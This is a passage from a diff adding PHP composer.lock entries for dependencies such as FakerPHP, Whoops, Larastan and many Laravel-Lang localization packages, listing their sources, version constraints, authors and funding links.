"DragonCode\\Support\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://dragon-code.pro" + } + ], + "description": "Support package is a collection of helpers and tools for any project.", + "keywords": [ + "dragon", + "dragon-code", + "framework", + "helper", + "helpers", + "laravel", + "php", + "support", + "symfony", + "yii", + "yii2" + ], + "support": { + "issues": "https://github.com/TheDragonCode/support/issues", + "source": "https://github.com/TheDragonCode/support" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-04-03T15:06:29+00:00" + }, + { + "name": "fakerphp/faker", + "version": "v1.24.1", + "source": { + "type": "git", + "url": "https://github.com/FakerPHP/Faker.git", + "reference": "e0ee18eb1e6dc3cda3ce9fd97e5a0689a88a64b5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/FakerPHP/Faker/zipball/e0ee18eb1e6dc3cda3ce9fd97e5a0689a88a64b5", + "reference": "e0ee18eb1e6dc3cda3ce9fd97e5a0689a88a64b5", + "shasum": "" + }, + "require": { + "php": "^7.4 || ^8.0", + "psr/container": "^1.0 || ^2.0", + "symfony/deprecation-contracts": "^2.2 || ^3.0" + }, + "conflict": { + "fzaninotto/faker": "*" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.4.1", + "doctrine/persistence": "^1.3 || ^2.0", + "ext-intl": "*", + "phpunit/phpunit": "^9.5.26", + "symfony/phpunit-bridge": "^5.4.16" + }, + "suggest": { + "doctrine/orm": "Required to use Faker\\ORM\\Doctrine", + "ext-curl": "Required by Faker\\Provider\\Image to download images.", + "ext-dom": "Required by Faker\\Provider\\HtmlLorem for generating random HTML.", + "ext-iconv": "Required by Faker\\Provider\\ru_RU\\Text::realText() for generating real Russian text.", + "ext-mbstring": "Required for multibyte Unicode string functionality." + }, + "type": "library", + "autoload": { + "psr-4": { + "Faker\\": "src/Faker/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "François Zaninotto" + } + ], + "description": "Faker is a PHP library that generates fake data for you.", + "keywords": [ + "data", + "faker", + "fixtures" + ], + "support": { + "issues": "https://github.com/FakerPHP/Faker/issues", + "source": "https://github.com/FakerPHP/Faker/tree/v1.24.1" + }, + "time": "2024-11-21T13:46:39+00:00" + }, + { + "name": "fidry/cpu-core-counter", + "version": "1.3.0", + "source": { + "type": "git", + "url": "https://github.com/theofidry/cpu-core-counter.git", + "reference": "db9508f7b1474469d9d3c53b86f817e344732678" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/theofidry/cpu-core-counter/zipball/db9508f7b1474469d9d3c53b86f817e344732678", + "reference": "db9508f7b1474469d9d3c53b86f817e344732678", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "require-dev": { + "fidry/makefile": "^0.2.0", + "fidry/php-cs-fixer-config": "^1.1.2", + "phpstan/extension-installer": "^1.2.0", + "phpstan/phpstan": "^2.0", + "phpstan/phpstan-deprecation-rules": "^2.0.0", + "phpstan/phpstan-phpunit": "^2.0", + "phpstan/phpstan-strict-rules": "^2.0", + "phpunit/phpunit": "^8.5.31 || ^9.5.26", + "webmozarts/strict-phpunit": "^7.5" + }, + "type": "library", + "autoload": { + "psr-4": { + "Fidry\\CpuCoreCounter\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Théo FIDRY", + "email": "theo.fidry@gmail.com" + } + ], + "description": "Tiny utility to get the number of CPU cores.", + "keywords": [ + "CPU", + "core" + ], + "support": { + "issues": "https://github.com/theofidry/cpu-core-counter/issues", + "source": "https://github.com/theofidry/cpu-core-counter/tree/1.3.0" + }, + "funding": [ + { + "url": "https://github.com/theofidry", + "type": "github" + } + ], + "time": "2025-08-14T07:29:31+00:00" + }, + { + "name": "filp/whoops", + "version": "2.18.4", + "source": { + "type": "git", + "url": "https://github.com/filp/whoops.git", + "reference": "d2102955e48b9fd9ab24280a7ad12ed552752c4d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/filp/whoops/zipball/d2102955e48b9fd9ab24280a7ad12ed552752c4d", + "reference": "d2102955e48b9fd9ab24280a7ad12ed552752c4d", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0", + "psr/log": "^1.0.1 || ^2.0 || ^3.0" + }, + "require-dev": { + "mockery/mockery": "^1.0", + "phpunit/phpunit": "^7.5.20 || ^8.5.8 || ^9.3.3", + "symfony/var-dumper": "^4.0 || ^5.0" + }, + "suggest": { + "symfony/var-dumper": "Pretty print complex values better with var-dumper available", + "whoops/soap": "Formats errors as SOAP responses" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "psr-4": { + "Whoops\\": "src/Whoops/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Filipe Dobreira", + "homepage": "https://github.com/filp", + "role": "Developer" + } + ], + "description": "php error handling for cool kids", + "homepage": "https://filp.github.io/whoops/", + "keywords": [ + "error", + "exception", + "handling", + "library", + "throwable", + "whoops" + ], + "support": { + "issues": "https://github.com/filp/whoops/issues", + "source": "https://github.com/filp/whoops/tree/2.18.4" + }, + "funding": [ + { + "url": "https://github.com/denis-sokolov", + "type": "github" + } + ], + "time": "2025-08-08T12:00:00+00:00" + }, + { + "name": "hamcrest/hamcrest-php", + "version": "v2.1.1", + "source": { + "type": "git", + "url": "https://github.com/hamcrest/hamcrest-php.git", + "reference": "f8b1c0173b22fa6ec77a81fe63e5b01eba7e6487" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/hamcrest/hamcrest-php/zipball/f8b1c0173b22fa6ec77a81fe63e5b01eba7e6487", + "reference": "f8b1c0173b22fa6ec77a81fe63e5b01eba7e6487", + "shasum": "" + }, + "require": { + "php": "^7.4|^8.0" + }, + "replace": { + "cordoval/hamcrest-php": "*", + "davedevelopment/hamcrest-php": "*", + "kodova/hamcrest-php": "*" + }, + "require-dev": { + "phpunit/php-file-iterator": "^1.4 || ^2.0 || ^3.0", + "phpunit/phpunit": "^4.8.36 || ^5.7 || ^6.5 || ^7.0 || ^8.0 || ^9.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.1-dev" + } + }, + "autoload": { + "classmap": [ + "hamcrest" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "description": "This is the PHP port of Hamcrest Matchers", + "keywords": [ + "test" + ], + "support": { + "issues": "https://github.com/hamcrest/hamcrest-php/issues", + "source": "https://github.com/hamcrest/hamcrest-php/tree/v2.1.1" + }, + "time": "2025-04-30T06:54:44+00:00" + }, + { + "name": "iamcal/sql-parser", + "version": "v0.7", + "source": { + "type": "git", + "url": "https://github.com/iamcal/SQLParser.git", + "reference": "610392f38de49a44dab08dc1659960a29874c4b8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/iamcal/SQLParser/zipball/610392f38de49a44dab08dc1659960a29874c4b8", + "reference": "610392f38de49a44dab08dc1659960a29874c4b8", + "shasum": "" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^1.0", + "phpunit/phpunit": "^5|^6|^7|^8|^9" + }, + "type": "library", + "autoload": { + "psr-4": { + "iamcal\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Cal Henderson", + "email": "cal@iamcal.com" + } + ], + "description": "MySQL schema parser", + "support": { + "issues": "https://github.com/iamcal/SQLParser/issues", + "source": "https://github.com/iamcal/SQLParser/tree/v0.7" + }, + "time": "2026-01-28T22:20:33+00:00" + }, + { + "name": "jean85/pretty-package-versions", + "version": "2.1.1", + "source": { + "type": "git", + "url": "https://github.com/Jean85/pretty-package-versions.git", + "reference": "4d7aa5dab42e2a76d99559706022885de0e18e1a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Jean85/pretty-package-versions/zipball/4d7aa5dab42e2a76d99559706022885de0e18e1a", + "reference": "4d7aa5dab42e2a76d99559706022885de0e18e1a", + "shasum": "" + }, + "require": { + "composer-runtime-api": "^2.1.0", + "php": "^7.4|^8.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^3.2", + "jean85/composer-provided-replaced-stub-package": "^1.0", + "phpstan/phpstan": "^2.0", + "phpunit/phpunit": "^7.5|^8.5|^9.6", + "rector/rector": "^2.0", + "vimeo/psalm": "^4.3 || ^5.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Jean85\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Alessandro Lai", + "email": "alessandro.lai85@gmail.com" + } + ], + "description": "A library to get pretty versions strings of installed dependencies", + "keywords": [ + "composer", + "package", + "release", + "versions" + ], + "support": { + "issues": "https://github.com/Jean85/pretty-package-versions/issues", + "source": "https://github.com/Jean85/pretty-package-versions/tree/2.1.1" + }, + "time": "2025-03-19T14:43:43+00:00" + }, + { + "name": "larastan/larastan", + "version": "v3.10.0", + "source": { + "type": "git", + "url": "https://github.com/larastan/larastan.git", + "reference": "2970f83398154178a739609c244577267c7ee8eb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/larastan/larastan/zipball/2970f83398154178a739609c244577267c7ee8eb", + "reference": "2970f83398154178a739609c244577267c7ee8eb", + "shasum": "" + }, + "require": { + "ext-json": "*", + "iamcal/sql-parser": "^0.7.0", + "illuminate/console": "^11.44.2 || ^12.4.1 || ^13", + "illuminate/container": "^11.44.2 || ^12.4.1 || ^13", + "illuminate/contracts": "^11.44.2 || ^12.4.1 || ^13", + "illuminate/database": "^11.44.2 || ^12.4.1 || ^13", + "illuminate/http": "^11.44.2 || ^12.4.1 || ^13", + "illuminate/pipeline": "^11.44.2 || ^12.4.1 || ^13", + "illuminate/support": "^11.44.2 || ^12.4.1 || ^13", + "php": "^8.2", + "phpstan/phpstan": "^2.2.0" + }, + "require-dev": { + "doctrine/coding-standard": "^14", + "laravel/framework": "^11.44.2 || ^12.7.2 || ^13", + "mockery/mockery": "^1.6.12", + "nikic/php-parser": "^5.4", + "orchestra/canvas": "^v9.2.2 || ^10.0.1 || ^11", + "orchestra/testbench-core": "^9.12.0 || ^10.1 || ^11", + "phpstan/phpstan-deprecation-rules": "^2.0.1", + "phpunit/phpunit": "^10.5.35 || ^11.5.15 || ^12.5.8 || ^13.1.8" + }, + "suggest": { + "orchestra/testbench": "Using Larastan for analysing a package needs Testbench", + "phpmyadmin/sql-parser": "Install to enable Larastan's optional phpMyAdmin-based SQL parser automatically" + }, + "type": "phpstan-extension", + "extra": { + "phpstan": { + "includes": [ + "extension.neon" + ] + }, + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "psr-4": { + "Larastan\\Larastan\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Can Vural", + "email": "can9119@gmail.com" + } + ], + "description": "Larastan - Discover bugs in your code without running it. A phpstan/phpstan extension for Laravel", + "keywords": [ + "PHPStan", + "code analyse", + "code analysis", + "larastan", + "laravel", + "package", + "php", + "static analysis" + ], + "support": { + "issues": "https://github.com/larastan/larastan/issues", + "source": "https://github.com/larastan/larastan/tree/v3.10.0" + }, + "funding": [ + { + "url": "https://github.com/canvural", + "type": "github" + } + ], + "time": "2026-05-28T08:00:58+00:00" + }, + { + "name": "laravel-lang/actions", + "version": "1.13.2", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/actions.git", + "reference": "5e9bbd3b8af3fed4b733e424c56810b0d3e81377" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/actions/zipball/5e9bbd3b8af3fed4b733e424c56810b0d3e81377", + "reference": "5e9bbd3b8af3fed4b733e424c56810b0d3e81377", + "shasum": "" + }, + "require": { + "ext-json": "*", + "laravel-lang/publisher": "^14.0 || ^15.0 || ^16.0", + "php": "^8.1" + }, + "require-dev": { + "laravel-lang/status-generator": "^2.3.1", + "phpunit/phpunit": "^10.0 || ^11.0 || ^12.0", + "symfony/var-dumper": "^6.3 || ^7.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\Actions\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\Actions\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://dragon-code.pro" + }, + { + "name": "Laravel Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "Translation of buttons and other action elements", + "keywords": [ + "actions", + "buttons", + "lang", + "languages", + "laravel", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/actions/issues", + "source": "https://github.com/Laravel-Lang/actions/tree/1.13.2" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-05-30T12:11:11+00:00" + }, + { + "name": "laravel-lang/attributes", + "version": "2.16.4", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/attributes.git", + "reference": "4a0de72632bb1862532977fd76ed6be9c1cc65af" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/attributes/zipball/4a0de72632bb1862532977fd76ed6be9c1cc65af", + "reference": "4a0de72632bb1862532977fd76ed6be9c1cc65af", + "shasum": "" + }, + "require": { + "ext-json": "*", + "laravel-lang/publisher": "^14.0 || ^15.0 || ^16.0", + "php": "^8.1" + }, + "require-dev": { + "laravel-lang/status-generator": "^1.19 || ^2.0", + "phpunit/phpunit": "^10.0 || ^11.0 || ^12.0", + "symfony/var-dumper": "^6.0 || ^7.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\Attributes\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\Attributes\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://github.com/Laravel-Lang" + } + ], + "description": "Translation of form element names", + "keywords": [ + "attributes", + "fields", + "form", + "lang", + "languages", + "laravel", + "messages", + "translations", + "validation" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/attributes/issues", + "source": "https://github.com/Laravel-Lang/attributes/tree/2.16.4" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-05-30T12:11:05+00:00" + }, + { + "name": "laravel-lang/common", + "version": "6.8.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/common.git", + "reference": "f1e3383f94c4f157f0f41324792382bf2dd84d52" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/common/zipball/f1e3383f94c4f157f0f41324792382bf2dd84d52", + "reference": "f1e3383f94c4f157f0f41324792382bf2dd84d52", + "shasum": "" + }, + "require": { + "laravel-lang/actions": "^1.9", + "laravel-lang/attributes": "^2.12", + "laravel-lang/http-statuses": "^3.8", + "laravel-lang/json-fallback": "^2.2", + "laravel-lang/lang": "^13.12 || ^14.0 || ^15.5.1", + "laravel-lang/locales": "^2.10", + "laravel-lang/models": "^1.3", + "laravel-lang/moonshine": "^1.2", + "laravel-lang/publisher": "^16.5", + "laravel-lang/routes": "^1.7", + "laravel-lang/starter-kits": "^1.0", + "php": "^8.1" + }, + "require-dev": { + "dragon-code/support": "^6.13", + "orchestra/testbench": "^8.17 || ^9.1.2 || ^10.0 || ^11.0", + "phpunit/phpunit": "^10.5.20 || ^11.0 || ^12.0", + "symfony/var-dumper": "^6.4 || ^7.1.1 || ^8.0" + }, + "type": "library", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Laravel-Lang Team", + "homepage": "https://github.com/Laravel-Lang" + }, + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://dragon-code.pro" + } + ], + "description": "Easily connect the necessary language packs to the application", + "keywords": [ + "Laravel-lang", + "actions", + "attribute", + "attributes", + "breeze", + "buttons", + "cashier", + "fortify", + "framework", + "http", + "http-status", + "http-status-code", + "i18n", + "jetstream", + "lang", + "language", + "languages", + "laravel", + "locale", + "locales", + "localization", + "localizations", + "moonshine", + "nova", + "publisher", + "spark", + "translation", + "translations", + "ui" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/common/issues", + "source": "https://github.com/Laravel-Lang/common" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-03-17T23:15:14+00:00" + }, + { + "name": "laravel-lang/config", + "version": "1.17.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/config.git", + "reference": "77ad089234aa74961ca30c7e6d13db9a62654c87" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/config/zipball/77ad089234aa74961ca30c7e6d13db9a62654c87", + "reference": "77ad089234aa74961ca30c7e6d13db9a62654c87", + "shasum": "" + }, + "require": { + "archtechx/enums": "^1.0", + "illuminate/config": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/support": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "laravel-lang/locale-list": "^1.6", + "php": "^8.1" + }, + "require-dev": { + "orchestra/testbench": "^8.23 || ^9.1 || ^10.0 || ^11.0", + "pestphp/pest": "^2.34 || ^3.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\Config\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\Config\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "The Laravel-Lang config package", + "keywords": [ + "Laravel-lang", + "Settings", + "config", + "lang", + "languages", + "laravel", + "locale", + "locales", + "localization", + "localizations", + "translation", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/config/issues", + "source": "https://github.com/Laravel-Lang/config/tree/1.17.0" + }, + "time": "2026-03-17T21:23:36+00:00" + }, + { + "name": "laravel-lang/http-statuses", + "version": "3.13.2", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/http-statuses.git", + "reference": "2d33c7b4f5b268224c559c27c1220764b5391ae2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/http-statuses/zipball/2d33c7b4f5b268224c559c27c1220764b5391ae2", + "reference": "2d33c7b4f5b268224c559c27c1220764b5391ae2", + "shasum": "" + }, + "require": { + "ext-json": "*", + "laravel-lang/publisher": "^14.1 || ^15.0 || ^16.0", + "php": "^8.1" + }, + "require-dev": { + "laravel-lang/status-generator": "^1.19 || ^2.0", + "phpunit/phpunit": "^10.0 || ^11.0 || ^12.0", + "symfony/var-dumper": "^6.0 || ^7.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\HttpStatuses\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\HttpStatuses\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://github.com/Laravel-Lang" + } + ], + "description": "Translation of HTTP statuses", + "keywords": [ + "http", + "lang", + "languages", + "laravel", + "messages", + "status", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/http-statuses/issues", + "source": "https://github.com/Laravel-Lang/http-statuses/tree/3.13.2" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-05-30T12:11:06+00:00" + }, + { + "name": "laravel-lang/json-fallback", + "version": "2.3.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/json-fallback.git", + "reference": "1b02c798da837c63e2d01f45b45bb49367d5b6a1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/json-fallback/zipball/1b02c798da837c63e2d01f45b45bb49367d5b6a1", + "reference": "1b02c798da837c63e2d01f45b45bb49367d5b6a1", + "shasum": "" + }, + "require": { + "illuminate/support": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/translation": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "php": "^8.1" + }, + "require-dev": { + "orchestra/testbench": "^8.0 || ^9.0 || ^10.0 || ^11.0", + "phpunit/phpunit": "^10.0 || ^11.0 || ^12.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "LaravelLang\\JsonFallback\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://github.com/andrey-helldar" + }, + { + "name": "Felipe Dsdev", + "homepage": "https://github.com/felipe-dsdev" + } + ], + "description": "Adds support for fallback JSON string translation", + "support": { + "issues": "https://github.com/Laravel-Lang/json-fallback/issues", + "source": "https://github.com/Laravel-Lang/json-fallback/tree/2.3.0" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-03-17T21:18:08+00:00" + }, + { + "name": "laravel-lang/lang", + "version": "15.33.1", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/lang.git", + "reference": "3f1092ac3772189ec03187c66f3f4efd0002523e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/lang/zipball/3f1092ac3772189ec03187c66f3f4efd0002523e", + "reference": "3f1092ac3772189ec03187c66f3f4efd0002523e", + "shasum": "" + }, + "require": { + "ext-json": "*", + "laravel-lang/publisher": "^16.0", + "php": "^8.2" + }, + "conflict": { + "laravel/framework": "<11.0.7" + }, + "require-dev": { + "dragon-code/codestyler": "^6.0", + "laravel-lang/status-generator": "^2.11", + "phpunit/phpunit": "^11.0 || ^12.0", + "symfony/var-dumper": "^7.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\Lang\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\Lang\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Laravel-Lang Team", + "homepage": "https://github.com/Laravel-Lang" + } + ], + "description": "List of 126 languages for Laravel Framework, Laravel Jetstream, Laravel Fortify, Laravel Breeze, Laravel Cashier, Laravel Nova, Laravel Spark and Laravel UI", + "keywords": [ + "lang", + "languages", + "laravel", + "lpm" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/lang/issues", + "source": "https://github.com/Laravel-Lang/lang" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-07-25T15:37:45+00:00" + }, + { + "name": "laravel-lang/locale-list", + "version": "1.7.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/locale-list.git", + "reference": "48e61c7f0a957420d4aaf5d35653889c25c4e2d4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/locale-list/zipball/48e61c7f0a957420d4aaf5d35653889c25c4e2d4", + "reference": "48e61c7f0a957420d4aaf5d35653889c25c4e2d4", + "shasum": "" + }, + "require": { + "archtechx/enums": "^0.3.2 || ^1.0", + "php": "^8.1" + }, + "type": "library", + "autoload": { + "psr-4": { + "LaravelLang\\LocaleList\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "List of localizations available in Laravel Lang projects", + "keywords": [ + "Laravel-lang", + "lang", + "languages", + "laravel", + "locale", + "locales", + "localization", + "translation", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/locale-list/issues", + "source": "https://github.com/Laravel-Lang/locale-list" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-01-20T08:17:15+00:00" + }, + { + "name": "laravel-lang/locales", + "version": "2.11.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/locales.git", + "reference": "761aa3cfbc5bbe29eb958c9839e7dd3806193bac" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/locales/zipball/761aa3cfbc5bbe29eb958c9839e7dd3806193bac", + "reference": "761aa3cfbc5bbe29eb958c9839e7dd3806193bac", + "shasum": "" + }, + "require": { + "archtechx/enums": "^0.3.2 || ^1.0", + "dragon-code/support": "^6.11.3", + "ext-json": "*", + "illuminate/collections": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "laravel-lang/config": "^1.12", + "laravel-lang/locale-list": "^1.5", + "laravel-lang/native-country-names": "^1.5", + "laravel-lang/native-currency-names": "^1.6", + "laravel-lang/native-locale-names": "^2.5", + "php": "^8.1" + }, + "require-dev": { + "orchestra/testbench": "^8.0 || ^9.0 || ^10.0 || ^11.0", + "pestphp/pest": "^2.24.1 || ^3.0 || ^4.0", + "symfony/var-dumper": "^6.0 || ^7.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\Locales\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\Locales\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "Basic functionality for working with localizations", + "keywords": [ + "laravel", + "locale", + "locales", + "localization", + "translation", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/locales/issues", + "source": "https://github.com/Laravel-Lang/locales" + }, + "time": "2026-03-17T22:40:41+00:00" + }, + { + "name": "laravel-lang/models", + "version": "1.7.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/models.git", + "reference": "a9aa0205ca019f4459ace26b0432b3b6d1886f66" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/models/zipball/a9aa0205ca019f4459ace26b0432b3b6d1886f66", + "reference": "a9aa0205ca019f4459ace26b0432b3b6d1886f66", + "shasum": "" + }, + "require": { + "composer/class-map-generator": "^1.3", + "dragon-code/support": "^6.13", + "illuminate/database": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/support": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "laravel-lang/config": "^1.12", + "laravel-lang/locales": "^2.10.0", + "laravel/prompts": ">=0.1", + "php": "^8.1" + }, + "require-dev": { + "laravel/pint": "^1.20", + "orchestra/testbench": "^8.0 || ^9.0 || ^10.0 || ^11.0", + "pestphp/pest": "^2.34 || ^3.0 || ^4.0", + "pestphp/pest-plugin-laravel": "^2.4 || ^3.0 || ^4.0", + "symfony/var-dumper": "^6.0 || ^7.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\Models\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\Models\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://dragon-code.pro", + "role": "Maintainer" + }, + { + "name": "Andrey Sokolov", + "email": "walfireru@gmail.com", + "homepage": "https://github.com/Quiss", + "role": "Usability consultant" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://github.com/Laravel-Lang" + } + ], + "description": "Easy and fast way to localize models", + "keywords": [ + "database", + "l18n", + "languages", + "laravel", + "locales", + "localization", + "models", + "translate", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/models/issues", + "source": "https://github.com/Laravel-Lang/models" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-03-17T23:00:20+00:00" + }, + { + "name": "laravel-lang/moonshine", + "version": "1.9.2", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/moonshine.git", + "reference": "3927bcf658d392c9f2eb03c773f52ff650b37f63" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/moonshine/zipball/3927bcf658d392c9f2eb03c773f52ff650b37f63", + "reference": "3927bcf658d392c9f2eb03c773f52ff650b37f63", + "shasum": "" + }, + "require": { + 